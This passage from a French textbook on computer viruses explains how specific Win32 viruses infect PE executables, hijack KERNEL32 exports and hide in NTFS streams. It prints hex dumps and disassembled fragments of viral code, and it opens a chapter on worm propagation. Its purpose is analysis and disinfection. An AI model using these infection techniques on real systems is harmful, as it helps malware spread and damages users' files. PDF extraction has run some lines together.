00 00 00 00 00 00 00

Exemple N°2

00970F ED 7A 81 F1 E7 95 BF 3B 80 D9 8F 80 DE C7 BF 6100971F 0C B2 31 66 8B EB 66 8B DA BD 13 82 62 2C 80 B600972F CD E6 12 85 69 BA F3 1A 6C 77 E9 1C 00 00 00 B100973F 34 D4 E5 83 AD EC 38 39 11 8B 8F C7 F9 6A 81 A100974F 9F F0 A0 73 67 37 71 59 4E 3B E7 4F 80 E1 27 6600975F 8B E8 81 EE 01 00 00 00 0F BF EE 8B CF E9 1C 0000976F 00 00 41 8A AA F6 33 33 87 A6 69 EA A5 B2 8F 0500977F 04 7E 71 F3 02 47 03 EB 22 79 F9 60 7D 45 BA 3300978F DA C8 27 81 F9 C0 F5 B1 31 0F 85 8A FF FF FF 8000979F DD 67 0F BF CF E9 57 E8 FF FF 19 00 EB 98 07 3F0097AF 6D DD 21 D9 5A 92 13 7F CF F0 79 99 C8 E7 5F 0A0097BF 38 5B D1 E9 9E DB 00 00 00 00 00 00 00 00 00 000097CF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Insertion du code dans l’entête des sections et modification du point d’entrée

Pour cet exemple qui traite du virus W32/Haless.1127, il n’a pas été possibled’utiliser notre appât habituel. Le fichier infecté est WRITE.EXE (Windows NT4).Dans l’en-tête optionnelle, seuls 2 éléments sont modifiés :

• L’offset du point d’entrée [PE + 28h] est remplacé par l’adresse virtuelle rela-tive de la nouvelle section (valeur initiale 0x00001080h).

• La taille de toutes les entêtes [PE + 54h] n’est plus standard (valeur initiale0x00000400h).

000090 0B 01 03 0A 00 04 00 000000A0 00 12 00 00 00 00 00 00 40 02 00 00 00 10 00 000000B0 00 20 00 00 00 00 9E 02 00 10 00 00 00 02 00 000000C0 04 00 00 00 04 00 00 00 04 00 00 00 00 00 00 000000D0 00 60 00 00 00 07 00 00 7B EB 00 00 02 00 00 000000E0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 000000F0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00000100 F4 20 00 00 50 00 00 00 00 40 00 00 7C 08 00 00

PAGET_Ch05 Page 182 Lundi, 11. avril 2005 5:24 17

183©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000120 00 50 00 00 5C 00 00 00 50 20 00 00 1C 00 00 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000150 00 00 00 00 00 00 00 00 00 20 00 00 50 00 00 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000170 00 00 00 00 00 00 00 00

Si le fichier WRITE.EXE a pu subir l’infection virale, c’est qu’une zone libre suf-fisamment importante est à la disposition du virus. Une étude du fichier sain, montreen effet qu’aucun code n’est présent entre l’offset 240h (fin de l’entête des sections)et l’offset 1000h (début de la première section). Cette zone ne contient qu’une suc-cession de 00h.

C’est cette particularité qui a permis au virus de s’installer dans cet espace (entrel’offset 240h et l’offset 6A7h).

Les puristes remarqueront que :

6A7h – 240h = 467h, soit 1127 octets.000240 E8 5F 03 00 00 2D 05 10 40 00 50 8B 44 24 04 25. . .000530 77 42 03 0C 24 57 BE 00 10 40 00 03 73 0C 8B F9000540 2B 4C 24 04 87 48 28 53 8B D9 B9 67 04 00 00 F3. . .000670 69 65 77 4F 66 46 69 6C 65 00 00 49 6E 66 65 63 Infec000680 74 65 64 20 62 79 20 57 69 6E 33 32 2E 54 65 63 ted by Win32.Tec000690 68 6E 6F 4D 69 78 2E 48 61 72 6D 6C 65 73 73 2E hnoMix.Harmless.0006A0 31 00 E9 D9 09 00 00 00 00 00 00 00 00 00 00 00

L’adresse du point d’entrée d’origine se calcule à partir d’une valeur visible en findu code viral (le saut qu’effectue le virus pour rejoindre le code sain). C’est celle ciqui nous aidera, le moment venu à réparer le fichier :

Adresse actuelle du point d’entrée 0240h– Valeur du saut 09D9h– Taille du virus 0467h= Adresse du point d’entrée d’origine 1080h

Ecrasement de la dernière section et redirections successives

Dans cet exemple (W32/Bolzano.L), l’auteur du virus a clairement cherché lacomplication pour espérer gêner les chercheurs. Il faut suivre une succession de sautsdisséminés dans le code original pour enfin atteindre le code viral.

Il n’y a pas de changement dans l’entête PE. Dans l’entête optionnelle, la tailledu programme (Image Size) est augmentée de 2000h. Les autres modifications habi-tuelles vus dans les exemples précédents affectent la dernière section.

Une fois décrypté, le code du virus laisse apparaître une table d’offsets et de don-nées. À chaque binôme correspond une adresse d’écrasement (ou le virus a posi-tionné un saut) et une valeur sauvegardée (celle présente avant cet écrasement).

C90 F4 96 28 01 D6 94 28 01CA0 94 26 28 01 18 5B 28 01 D7 2F 28 01 15 2E 28 01

PAGET_Ch05 Page 183 Lundi, 11. avril 2005 5:24 17

184 Chapitre 5. Les virus programme

CB0 D1 7F 28 01 A0 7C 28 01 06 2A 28 01 37 32 28 01CC0 7F 70 28 01 50 71 28 01 64 76 28 01 90 AC 28 01CD0 B4 4A 28 01 B4 5F 28 01 5B 57 28 01 90 42 28 01CE0 86 94 28 01 99 92 28 01 38 B8 28 01 20 82 28 01CF0 57 C6 28 01 80 CD 28 01 2B 81 28 01 C0 7C 28 01D00 C5 7D 28 01 E0 84 28 01 49 62 28 01 80 A0 28 01D10 9E 6F 28 01 F0 70 28 01 6B A2 28 01 00 BD 28 01D20 3B 7A 28 01 00 A3 28 01 BC 62 28 01 20 9E 28 01D30 B6 3C 28 01 90 42 28 01 B6 16 28 01 31 52 28 01D40 69 47 28 01 10 62 28 01 44 82 28 01 20 7D 28 01D50 9E BE 28 01 80 A0 28 01 4A C1 28 01 80 A0 28 01D60 5D BF 28 01 80 A0 28 01 FF 49 28 01 90 42 28 01D70 C3 63 28 01 40 63 28 01 FB 31 28 01 E5 2F 28 01D80 33 A0 28 01 30 A4 28 01 5B 74 28 01 22 67 28 01D90 74 C6 28 01 D0 CA 28 01 F3 38 28 01 6C 36 28 01DA0 0E 17 28 01 99 5A 28 01 CE 3A 28 01 60 5E 28 01DB0 DF 92 28 01 86 92 28 01 49 9A 28 01 DC 96 28 01DC0 0E 74 28 01 E0 66 28 01 6A 6E 28 01 80 A4 28 01DD0 35 2E 28 01 99 5A 28 01 89 B1 28 01 20 C8 28 01DE0 B6 55 28 01 E9 59 28 01 12 4F 28 01 37 32 28 01DF0 49 19 28 01 99 5A 28 01 59 AE 28 01 50 AF 28 01E00 EC 63 28 01 80 A0 28 01 59 48 28 01 D7 52 28 01E10 FD C0 28 01 80 A0 28 01 70 2E 28 01 99 5A 28 01E20 1C AC FE 01 57 B0 FE 01

Exemple :

Offset: 6249 E8CF0C0100 call 000016F1D (fichier infecté)6249 E8323E0000 call 00000A080 (fichier sain)

La table est gérée par le programme suivant :

107: E8FF0800 call 000000A0B10C: 8B542420 mov edx,[esp][00020]110: B932000000 mov ecx,000000032115: 83EA05 sub edx,005118: BEB0120000 mov esi,0000012B011D: 03F5 add esi,ebp11F: AD lodsd120: 3BC2 cmp eax,edx122: AD lodsd123: 7404 je 000000129125: E2F8 loop 00000011F127: 61 popad128: C3 retnA0B: E800000000 call 000000A10A10: 5D pop ebpA11: 81ED100A0000 sub ebp,000000A10A17: C3 retn

Il faudra le réutiliser pour espérer pouvoir réparer le fichier.

Point d’entrée obscur

Les techniques que nous avons jusqu’ici détaillées s’appliquent à la grande majoritédes virus actuels :

PAGET_Ch05 Page 184 Lundi, 11. avril 2005 5:24 17

185©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

• Les uns modifient l’adresse du point d’entrée du programme vers leur proprecode.

• Les autres remplacent directement quelques octets au point d’entrée pourpermettre au programme un saut, plus ou moins rapide, vers le code viral.

Afin de parfaire leur camouflage, certains virus cherchent à placer ce saut, loin dupoint d’entrée, en le noyant dans le code légitime du programme qu’il souhaiteinfecter. Il s’agit alors de la méthode du point d’entrée obscur telle que le pratique levirus W32/Forforo.B.

Nous allons examiner les conséquences d’une telle attaque sur notre fichierleurre qui, avant infection, possède les caractéristiques suivantes :

Offset du point d’entrée EP-RVA: 11B0hAdresse physique de ce point d’entrée: 5B0hPoint d’entrée localisé en première section (.text)Adresse physique de la première section: 0400hAdresse physique de la dernière section: 7C00h

Après avoir été infecté, le fichier a augmenté en taille. Il est passé de32 768 octets à 39 839 octets. Il se retrouve modifié de la manière suivante (cf.tableau 5.9) :

L’examen du code au point d’entrée obscur nous montre le changement suivant :

Avant : FF15B0B04000 call GetCurrentProcess ;KERNEL32.DLLAprès : FF157FC54000 call d, [0040C57F]

L’appel (call) système GetCurrentProcess a été remplacé par un appel pointant surune adresse inscrite dans la dernière section qui a, rappelons le, les caractéristiquessuivantes :

Adresse virtuelle : C000h (0040C000h)Taille virtuelle : 3FE0h

Tableau 5.9 — Principales modifications d’un fichier après une infection par Fosforo

Adresse Physique

Avant infection Après infection Remarques

12h 00h 55h Marqueur d’infection

D0h 0000C3FEh 0001A000h Taille du programme [PE + 50h]

220h 000003FEh 00003FE0h Taille virtuelle de la dernière section

228h 00000400h 00010000h Taille physique de la dernière section

23Ch 40000042h 400000C2h Caractéristiques de la dernière section

4B1h FF15B0B04000h FF157FC54000h Point d’entrée obscur

PAGET_Ch05 Page 185 Lundi, 11. avril 2005 5:24 17

186 Chapitre 5. Les virus programme

On retrouve effectivement à l’adresse indiquée la valeur 0040C583h qui pointe,4 octets plus loin, au début du code viral.

.004011B0: 64A100000000 mov eax,fs:[00000000] (EP-RVA)

.004011B6: 55 push ebp

.004011B7: 8BEC mov ebp,esp

...

...

.004010B0: 56 push esi

.004010B1: FF157FC54000 call d,[0040C57F] (saut vers code viral)

.004010B7: 50 push eax

.004010B8: FF15ACB04000 call TerminateProcess ;KERNEL32.DLL

.004010BE: C705A486400001000000 mov d,[004086A4],000000001-------------------------------------------------------------------------------.0040C57F: 83C54000.0040C583: 9C pushfd (début code viral).0040C584: 60 pushad.0040C585: EB7A jmps .00040C601......

Celui ci s’exécutera avant de finir son processus en redirigeant et en rétablissanten mémoire le branchement sur l’appel système original. Le programme pourra ainsise poursuivre de la même manière qu’avant l’infection.

Le seul écueil de ce type d’attaque est un mauvais positionnement du saut (lepoint d’entrée obscur). Si celui ci se trouve inscrit dans une portion de code rare-ment, voire jamais, exécuté, le virus ne se propagera pas autant que son auteurl’aurait souhaité.

Moins d’une quarantaine de virus utilisent cette technique. Elle oblige, en théo-rie, les anti-virus à élargir leur fenêtre d’analyse à la totalité de la section contenantle point d’entrée. Fort heureusement, une analyse rigoureuse de chaque virus permetgénéralement de réduire la zone de recherche et donc, le temps de traitement.

Le tableau 5.10 cite quelques virus utilisant la technique du point d’entrée obscuret la méthode de « saut » qu’ils utilisent.

Tableau 5.10 — Quelques virus utilisant la technique du point d’entrée obscur

W95/Babylonia E8 xx xx xx xx (CALL : appel direct long inter-segment)

W32/Bagif E8 xx xx xx xx (CALL : appel direct long inter-segment)E9 xx xx xx xx (JMP : saut direct long inter-segment)

W32/CTX E8 xx xx xx xx (CALL : appel direct long inter-segment)E9 xx xx xx xx (JMP : saut direct long inter-segment)

W32/Chiton BB xx xx xx xx (MOV)

W32/Deemo E8 xx xx xx xx (CALL : appel direct long inter-segment)

PAGET_Ch05 Page 186 Lundi, 11. avril 2005 5:24 17

187©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Technologie a cavité

Nous allons examiner ici le cas de W32/Orez.5780 qui allie cette technique à celledu point d’entrée obscur.

Le virus ne modifie pas le point d’entrée (EP-RVA) mais recherche un endroitpour positionner son saut vers le code viral. Lorsque la structure du programme lepermet, le virus est capable de disséminer une routine de décryptage polymorphique.Elle est constituée d’instructions uniques que le virus raccorde par des sauts succes-sifs.

Regardons l’action du virus sur le fichier MM2ENT.EXE (source Windows-98).Avant infection, et entre les offsets 1500h et 1660h, le code se présente ainsi :

001500 8B 65 E8 8B 45 E0 50 E8 A4 00 00 00 83 C4 04 C7 001510 45 FC FF FF FF FF 8B 45 F0 5F 64 A3 00 00 00 00 001520 5E 5B 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC 001530 83 3D 3C 40 40 00 01 75 05 E8 C2 0E 00 00 8B 44 001540 24 04 50 E8 F8 0E 00 00 83 C4 04 68 FF 00 00 00 001550 FF 15 38 40 40 00 83 C4 04 C3 CC CC CC CC CC CC 001560 A1 F4 61 40 00 85 C0 74 02 FF D0 68 10 40 40 00 001570 68 08 40 40 00 E8 D6 00 00 00 83 C4 08 68 04 40 001580 40 00 68 00 40 40 00 E8 C4 00 00 00 83 C4 08 C3 001590 8B 44 24 04 6A 00 6A 00 50 E8 32 00 00 00 83 C4

W32/Etap FF 25 xx xx xx xx (JMP : saut indirect long inter-segment)FF 35 xx xx xx xx (PUSH : empilage d’une donnée mémoire inter-segment)E8 xx xx xx xx (CALL : appel direct long inter-segment)E9 xx xx xx xx (JMP : saut direct long inter-segment)68 xx xx xx xx c3 (PUSH : empilage d’une valeur)

W32/Fosforo FF 15 xx xx xx xx (CALL : appel indirect long inter-segment)

W32/Gobi FF 15 xx xx xx xx (CALL : appel indirect long inter-segment)68 xx xx xx xx c3 (PUSH : empilage d’une valeur)

W32/LDE E8 xx xx xx xx (CALL : appel direct long inter-segment)

W95/Legacy E9 xx xx xx xx (JMP : saut direct long inter-segment)

W32/LME E9 xx xx xx xx (JMP : saut direct long inter-segment)

W32/MTX FF 15 xx xx xx xx (CALL : appel indirect long inter-segment)

W32/Rads E8 xx xx xx xx (CALL : appel direct long inter-segment)

W95/Rainsong E8 xx xx xx xx (CALL : appel direct long inter-segment)

W95/Tolone E8 xx xx xx xx (CALL : appel direct long inter-segment)

W32/Wratch 68 xx xx xx xx c3 (PUSH : empilage d’une valeur)

W32/Zexam E8 xx xx xx xx (CALL : appel direct long inter-segment)

PAGET_Ch05 Page 187 Lundi, 11. avril 2005 5:24 17

188 Chapitre 5. Les virus programme

0015A0 0C C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC 0015B0 8B 44 24 04 6A 00 6A 01 50 E8 12 00 00 00 83 C4 0015C0 0C C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC 0015D0 C7 05 88 40 40 00 01 00 00 00 83 7C 24 08 00 53 0015E0 56 8B 5C 24 14 88 1D 84 40 40 00 75 3F 83 3D F8 0015F0 61 40 00 00 74 24 8B 35 F0 61 40 00 83 EE 04 3B 001600 35 F8 61 40 00 72 13 8B 06 85 C0 74 02 FF D0 83 001610 EE 04 3B 35 F8 61 40 00 73 ED 68 1C 40 40 00 68 001620 14 40 40 00 E8 27 00 00 00 83 C4 08 68 24 40 40 001630 00 68 20 40 40 00 E8 15 00 00 00 83 C4 08 85 DB 001640 75 0B 8B 44 24 0C 50 FF 15 80 71 40 00 5E 5B C3 001650 56 57 8B 74 24 10 8B 7C 24 0C 3B F7 76 0F 8B 07 001660 85 C0 74 02 FF D0 83 C7 04 3B F7 77 F1 5F 5E C3

On retrouve dans cette parcelle de code des zones inutilisées. Elles sont occupéespar des séquences hexadécimales de type CCh (en gras et souligné).

On remarque également un appel indirect long inter-segment.

FF 15 80 71 40 00 call Exit Process ; Kernel32.dll

Après infection, cette zone a fait l’objet de nombreux changements :

001500 8B 65 E8 8B 45 E0 50 E8 A4 00 00 00 83 C4 04 C7001510 45 FC FF FF FF FF 8B 45 F0 5F 64 A3 00 00 00 00001520 5E 5B 8B E5 5D C3 BA 00 90 40 00 E9 72 00 00 00001530 83 3D 3C 40 40 00 01 75 05 E8 C2 0E 00 00 8B 44001540 24 04 50 E8 F8 0E 00 00 83 C4 04 68 FF 00 00 00001540 24 04 50 E8 F8 0E 00 00 83 C4 04 68 FF 00 00 00001550 FF 15 38 40 40 00 83 C4 04 C3 49 E9 EA 03 00 00001560 A1 F4 61 40 00 85 C0 74 02 FF D0 68 10 40 40 00001570 68 08 40 40 00 E8 D6 00 00 00 83 C4 08 68 04 40001580 40 00 68 00 40 40 00 E8 C4 00 00 00 83 C4 08 C3001590 8B 44 24 04 6A 00 6A 00 50 E8 32 00 00 00 83 C40015A0 0C C3 8B 0A E9 19 00 00 00 CC CC CC CC CC CC CC0015B0 8B 44 24 04 6A 00 6A 01 50 E8 12 00 00 00 83 C40015C0 0C C3 81 E9 BB CA ED 56 E9 35 03 00 00 CC CC CC0015D0 C7 05 88 40 40 00 01 00 00 00 83 7C 24 08 00 530015E0 56 8B 5C 24 14 88 1D 84 40 40 00 75 3F 83 3D F80015F0 61 40 00 00 74 24 8B 35 F0 61 40 00 83 EE 04 3B001600 35 F8 61 40 00 72 13 8B 06 85 C0 74 02 FF D0 83001610 EE 04 3B 35 F8 61 40 00 73 ED 68 1C 40 40 00 68001620 14 40 40 00 E8 27 00 00 00 83 C4 08 68 24 40 40001630 00 68 20 40 40 00 E8 15 00 00 00 83 C4 08 85 DB001640 75 0B 8B 44 24 0C 50 E9 48 FD FF FF 00 5E 5B C3001650 56 57 8B 74 24 10 8B 7C 24 0C 3B F7 76 0F 8B 07001660 85 C0 74 02 FF D0 83 C7 04 3B F7 77 F1 5F 5E C3

L’appel à la fonction Exit Process a été remplacé par un saut. Il s’agit du pointd’entrée obscur.

Dans le cas présent, il ne pointe pas, comme à l’habitude, vers la dernière sectiondu fichier. Il redirige le programme vers une zone non utilisée telle que celles décritesplus haut. Cette zone contient une instruction et un autre saut. L’instruction faitparti de la routine polymorphe, le saut qui la suit permet d’aller à l’instruction sui-vante.

PAGET_Ch05 Page 188 Lundi, 11. avril 2005 5:24 17

189©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

L’étude complète du code nous permet de découvrir la routine reprise ci-dessous.Pour en faciliter la compréhension, les sauts intermédiaires ont été omis. Onretrouve en gras, les codes apparaissant dans le contenu du dump ci-dessus.

001647 Jmp 00401394 (E9 48 FD FF FF)001394 pushad001526 mov edx,0004090000015A2 mov ecx,[edx]0015C2 sub ecx,056EDCABB001902 not ecx001CA2 sub ecx,0CB674E3B0022F3 ror ecx,013002664 add acx,063517E2A0023F8 neg ecx00155A dec ecx00194A inc ecx002648 neg ecx0026C5 add ecx,03DF9C772002762 not ecx002794 not ecx0027C1 mov [edx],ecx002884 add edx,0040029F4 jne 15A2

jmp 2A31002A31 popad

push 000409000retn

Infection TLS

Cette technique est utilisée par quelques virus de la famille W32/Chiton. Elle estsimple mais n’a pourtant été rencontrée qu’à compter de l’année 2002.

Il existe dans l’entête optionnelle à l’adresse [PE + C0h] une entrée peut usitée etdéfinie en anglais comme RVA Thread Local Storage. Cette zone permet de gérer desapplications dans lesquelles, il n’y a pas un, mais plusieurs fils d’exécution (les threads)qui doivent partager les mêmes données globales. Le stockage local permet à chaquethread d’avoir sa propre copie de données.

Dans la majorité des cas l’adresse de la zone mémoire qui en permet la gestion estmaintenue à 00h. Si celle ci pointe vers une zone de code, celui-ci sera exécuté àl’ouverture du programme en complément du code principal.

Dans le cas des variantes de W32/Chiton, le code viral est ajouté en fin de der-nière section. L’adresse du premier octet est simplement inscrite dans l’entêteoptionnelle à [PE + C0h].

Infection de KERNEL32.DLL

W32/Kriz.4092 est un virus polymorphe qui infecte les fichiers EXE au format PE. Ilattaque également les API du noyau Windows KERNEL32.DLL.

Pour faire cela, le virus détourne 16 fonctions en modifiant les adresses de la tableExport. Les valeurs originales sont sauvegardées pour permettre un passage de mainvers celles-ci une fois le code viral exécuté.

PAGET_Ch05 Page 189 Lundi, 11. avril 2005 5:24 17

190 Chapitre 5. Les virus programme

Le code ci-dessous reprend une partie de la table Export d’un fichierKERNEL32.DLL :

050480 F9 5B 02 00 43 49 01 00 D4 15 03 00 A6 90 03 00050490 A6 90 03 00 67 90 03 00 1D 26 03 00 41 7F 00 000504A0 E3 14 03 00 67 90 03 00 4C 90 03 00 94 75 00 000504B0 82 90 03 00 FC 5A 02 00 DF 7A 00 00 9E 76 00 000504C0 A6 90 03 00 C1 90 03 00 82 90 03 00 CF 06 03 000504D0 56 72 00 00 82 90 03 00 5E 75 00 00 67 90 03 000504E0 D3 90 03 00 D3 90 03 00 C4 0B 03 00 45 77 00 000504F0 DC 90 03 00 C1 90 03 00 F1 75 00 00 82 90 03 00050500 B6 5D 03 00 8B 90 03 00 6A 6F 00 00 AB B9 03 00050510 1C 76 00 00 A6 90 03 00 5F 47 02 00 A4 68 00 00050520 40 15 03 00 67 90 03 00 73 AF 02 00 D1 AB 01 00050530 C5 5B 02 00 AD 15 03 00 31 90 03 00 A5 70 00 00050540 2A 5A 02 00 31 90 03 00 A1 0B 03 00 0F 09 03 00050550 4C 90 03 00 4C 90 03 00 7E B9 00 00 5A 68 04 00050770 94 90 03 00 1B 79 00 00 31 90 03 00 93 AB 01 00050780 93 AB 01 00 28 90 03 00 4A 0F 03 00 67 90 03 00050790 C4 AE 02 00 63 06 03 00 F9 06 03 00 34 7B 00 000507A0 39 CF 02 00 67 90 03 00 43 90 03 00 8A C5 02 000507B0 B5 6F 00 00 60 71 00 00 85 58 00 00 94 7A 00 00050AE0 3C 1A 00 00 94 1A 00 00 A3 1A 00 00 16 1F 00 00050AF0 FC 1A 00 00 B3 1A 00 00 97 20 01 00 6E 1E 01 00050B00 4C C3 03 00 BF C3 03 00 FC 15 03 00 24 16 03 00050B10 67 90 03 00 4C 90 03 00 3F 32 02 00 85 7D 00 00050B20 3C 91 04 00 CA 75 00 00 67 90 03 00 5E 0D 03 00

Une fois le fichier infecté, ces valeurs sont remplacés par un appel au code viral.À titre exemple, on retrouve entre les offsets 50AE0h et 50B20h le code suivant :

050AE0 3C 1A 00 00 94 1A 00 00 A3 1A 00 00 16 1F 00 00050AF0 FC 1A 00 00 B3 1A 00 00 97 20 01 00 6E 1E 01 00050B00 4C C3 03 00 BF C3 03 00 86 38 07 00 8A 38 07 00050B10 AA 38 07 00 A6 38 07 00 3F 32 02 00 85 7D 00 00050B20 3C 91 04 00 CA 75 00 00 67 90 03 00 5E 0D 03 00

Il est possible de remarquer que ces 4 adresses pointent au même endroit.

Une fois détecté – le virus étant crypté et polymorphe – il faut décrypter le codeviral. Ceci fait, on retrouve 2 tables qui contiennent les données écrasées. L’une con-tient les adresses et l’autre les données associées.

000BA0 D4 15 03 00 DF 7A 00 00 45 77 00 00 AD 15 03000BB0 00 34 7B 00 00 FC 15 03 00 24 16 03 00 14 7B 00000BC0 00 67 90 03 00 C1 90 03 00 DC 90 03 00 31 90 03000BD0 00 43 90 03 00 4C 90 03 00 67 90 03 00 4C 90 03000BE0 00

000C40 88 04 05 00 B8 04 05 00 EC 04 05000C50 00 34 05 05 00 9C 07 05 00 08 0B 05 00 0C 0B 05000C60 00 08 0D 05 00 94 04 05 00 C4 04 05 00 F0 04 05000C70 00 38 05 05 00 A8 07 05 00 14 0B 05 00 10 0B 05000C80 00 0C 0D 05 00

PAGET_Ch05 Page 190 Lundi, 11. avril 2005 5:24 17

191©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Dans le cas ci-dessus, ces adresses sont directement réutilisables pour l’éradica-tion. Dans certains cas un traitement complémentaire est nécessaire. Si le fichiercontient une section .edata, un paramètre doit être ajouté avant restitution :

Param = RVA(.edata) – Adresse Phys.(.edata)

Infection par Stream NTFS

Dans une partition de type NTFS, tout fichier peut contenir, en plus des donnéesqui le constituent réellement, des flux d’informations complémentaires. Les quelquesvirus qui ciblent les fichiers se trouvant dans un environnement NTFS utilisent ceschaînes de données (ou streams) cachées.

Le premier ayant utilisé cette technique fut W2K/Stream en septembre 2000. Enaoût 2003, un mass-mailer, W32/Dumaru.A@MM, tentait lui aussi d’exploiter lesspécificités de cet environnement.

Après ce type d’infection, une analyse rapide du disque montre que certainsfichiers (tels que NOTEPAD.EXE, WINHELP.EXE, etc.) ont été écrasés et rempla-cés par le code du virus. Tous les fichiers infectés ont en effet une taille identique –celle du ver. Dans le cas de Dumaru, la taille est de 9.240 octets.

Agissant comme un virus compagnon, le code du fichier original est caché dansune chaîne de données associée au nom du fichier infecté. Via le code viral qui s’exé-cute préalablement, c’est donc également le fichier original qui est exécuté si celui ciest appelé.

Toute personne possédant un environnement NTFS peut s’essayer à manipulerles streams.

• Dans une fenêtre DOS, lancer l’éditeur de fichier : notepad mon_fichier.txt.• Entrer un texte du type Bonjour, je m’appelle François.• Sauver et quitter.• Dans cette même fenêtre DOS, lancer à nouveau l’éditeur : notepad

mon_fichier.txt:mon_stream.• La fenêtre d’édition est vide. Il s’agit d’un nouveau fichier. Entrer un texte

quelconque du type ceci est mon secret.• Sauver et quitter.• Ouvert à nouveau, le fichier mon_fichier.txt ne laisse apparaître que le texte

initial. Le second est fichier est pourtant toujours là comme vous pouvez leconstater en exécutant à nouveau : notepad mon_fichier.txt:mon_stream.

Un tel flux additionnel est inerte, et ne peut pas être directement exécuté. Dansl’optique d’une utilisation malicieuse, cette restriction est facilement contournable.

La recherche des streams secrètes nécessite l’utilisation d’outils spécifiques. Lelogiciel gratuit StreamFind est l’un d’entre eux.

PAGET_Ch05 Page 191 Lundi, 11. avril 2005 5:24 17

PAGET_Ch05 Page 192 Lundi, 11. avril 2005 5:24 17

6

Les vers

Qu’ils soient virus système ou programme, les infections informatiques détailléesdans les deux chapitres précédents s’accomplissaient sur des machines isolées. Lesaut d’une machine vers une autre était le résultat d’une action humaine involon-taire mais bien réelle.

Avec les vers, nous allons maintenant rentrer dans l’univers des réseaux et pré-senter des programmes capables de se propager de machine en machine de manièreindépendante.

Tout au long de ce chapitre nous allons en découvrir de nombreux types. Nousles classifierons et les détaillerons selon le langage dont ils sont issus puis selon leurméthode de propagation.

6.1 ACTIVATION

La méthode la plus simple consiste à convaincre l’utilisateur. La technique employéeest celle du

social engineering

. Elle doit amener celui-ci à ouvrir la pièce jointe. Lesrecettes sont infinies :

• un message urgent arrive en provenance de l’une de vos connaissan-ces (W97M/

Melissa@MM

) :

Attached is an important message for you.

• quelqu’un flatte votre vanité (VBS/

LoveLetter@MM

) :

Open this message to see who loves you.

• une bonne affaire vous est proposée (W32/Benjamin.worm) :

Download this file to get copyrighted material for free.

PAGET_Ch06 Page 193 Lundi, 11. avril 2005 5:24 17

194 Chapitre 6. Les vers

Plus subtil, certains virus se contentent d’une simple prévisualisation pour infes-ter la machine. Ils utilisent pour cela diverses vulnérabilités dont la plus courante estréférencée

MS01-020

1

. Le message est au format HTML ; la structure de son entêteentraîne l’exécution du code malicieux dès que son destinataire en prend une con-naissance sommaire au travers du panneau de prévisualisation de certains outils demessagerie (exemple

W32/Badtrans@MM

).

L’imprudence humaine est donc la cause première de la réussite de l’attaque. Ilexiste cependant d’autres types d’activation qui permettent au ver de s’infiltrer delui-même au sein des machines non protégées :

• Par scanning séquentiel ou aléatoire à la recherche de machines vulnérables(exemple

W32/Code-Red.worm

).• Par l’utilisation d’une liste pré-établie.• Par auto génération de listes au travers de

méta-serveurs

de jeux.• Par technique topologique : analyse de l’environnement de la machine infec-

tée.• De manière passive, en attendant qu’une victime se manifeste.

6.2 CLASSIFICATION

S’ils ne sont ni des macro-virus, ni des virus de script, les vers peuvent être classifiésen fonction du compilateur qui a permis leur création ou selon leur méthode deréplication. L’étude des similitudes permet ensuite la mise en œuvre de procéduresde détection heuristique.

6.2.1 Langage interprète

La notoriété conjointe de

W97M/Melissa.A@MM

et de

VBS/Loveletter.A@MM

alongtemps mis ces virus sur le devant de la scène. Ils ciblent toujours un outil demessagerie précis. Il s’agit généralement d’Outlook ou d’Outlook Express.

Prévisualisation

L’exploitation de la vulnérabilité

MS99-032

2

liée à Internet Explorer permit à unpetit nombre de virus d’agir sur simple prévisualisation.

Le plus commun fut sans conteste

JS/Kak@M

avec Outlook Express 5.0. La prévi-sualisation entraînait la création d’un fichier

kak.hta

dans le répertoire de démarrage.Celui ci s’exécutait à la prochaine mise en route de la machine. Il modifiait alors laconfiguration de l’outil de messagerie en définissant comme signature par défaut unfichier contenant le code viral (

kak.htm

). C’est ce fichier qui contenait le code lié à

1. MS01-020 :

malformed MIME exploit

.2. MS99-032 : scriptlet.typelib/Eyedog" Vulnerability.

PAGET_Ch06 Page 194 Lundi, 11. avril 2005 5:24 17

195

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

6.2 Classification

la vulnérabilité. En temps que signature par défaut, il se retrouvait automatiquementajouté à la fin de tout courrier de format HTML émis.

Sendkeys

La commande

Sendkeys

(EnvoiTouches) est liée au langage de macros. Elle permetde procéder à l’envoi de caractères depuis le clavier comme si l’utilisateur s’en char-geait de lui-même. Avec cette méthode il fut un temps possible de calquer lescommandes d’un utilisateur et d’automatiser l’envoi de courriers infectés.

À titre d’exemple on trouvera ci-dessous quelques lignes de codes liées à

AntiMarc

:

SendKeys "{TAB}", -1SendKeys "+({DOWN 20})", -1SendKeys "%T", -1SendKeys "M", -1[…]SendKeys "{TAB}", -1SendKeys "{TAB}", -1SendKeys "{TAB}", -1[…]SendKeys R, -1[…]SendKeys "%I", -1SendKeys "A", -1SendKeys sName, -1

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Vulnérabilité Internet Explorer

scriptlet.typelib/Eyedog

Outlook-Express 5

VBS/BubbleBoy.B@MM

a

a. Sous Outlook, Bubbleboy se propage également de manière standard sur une ouverturepar double-clic.

11/99

JS/Kak@M

b

b. SVAJCER Vanja, 2000,

Kak-astrophic?

Virus Bulletin. Mars 2000. p 7.

10/99

MÉTHODE CIBLE EXEMPLE DE VIRUS DATE

Sendkeys MAPI (Microsoft Mail)

WM/Sharefun.A@MM

a

a. VB, 1997,

Share and Share Alike

, Virus Bulletin. Avril 1997 -pp 10-11.

02/97

